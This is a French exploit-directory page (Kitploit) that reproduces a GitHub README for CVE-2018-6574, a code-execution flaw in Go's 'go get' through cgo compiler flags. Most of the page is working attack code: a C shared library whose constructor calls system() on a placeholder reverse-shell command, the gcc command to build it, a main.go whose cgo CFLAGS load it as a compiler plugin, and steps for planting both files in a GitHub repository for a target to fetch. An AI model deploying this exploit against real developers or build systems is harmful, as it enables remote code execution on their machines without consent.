Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2018-6574 — Exploit Golang cgo pour CVE-2018-6574 | Kitploit
Outils/GitHubGitHub/paulogmota/cve-2018-6574
Analyse des VulnérabilitésExploitationShellcodeTests d'IntrusionDéveloppement de Charges UtilesExploitation de Binaires
GitHubpaulogmota/cve-2018-6574

CVE-2018-6574

Exploit Golang cgo pour CVE-2018-6574

Voir le dépôt
2il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2018-6574

Étapes pour reproduire :

  1. Créez un fichier .c contenant la commande malveillante (revshell) :
root@kitploit:~
#include<stdio.h>
#include<stdlib.h>

static void malicious() __attribute__((constructor));

void malicious() {
  system("<insérez votre commande ici>");
}
  1. Compilez-le avec GCC. Vous devez le compiler sur l'architecture et le système d'exploitation exacts de la cible (par exemple Linux x86_64) :
root@kitploit:~
gcc -shared -o attack.so -fPIC attack.c
  1. Créez un fichier main.go contenant les en-têtes qui indiqueront à Go d'utiliser notre plugin malveillant :
root@kitploit:~
package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int bridge_int_func(intFunc f){
//   return f();
// }
//
// int fortytwo(){
//   return 42;
// }
import "C"
import "fmt"

func main() {
    f := C.intFunc(C.fortytwo)
    fmt.Println(int(C.bridge_int_func(f)))
    // Output: 42
}
  1. Hébergez les fichiers main.go et attack.so sur un dépôt GitHub
  2. Sur la machine cible, exécutez la commande
Télécharger l’outil
go get github.com/<votre-pseudo>/<votre-repo>
  • Soyez heureux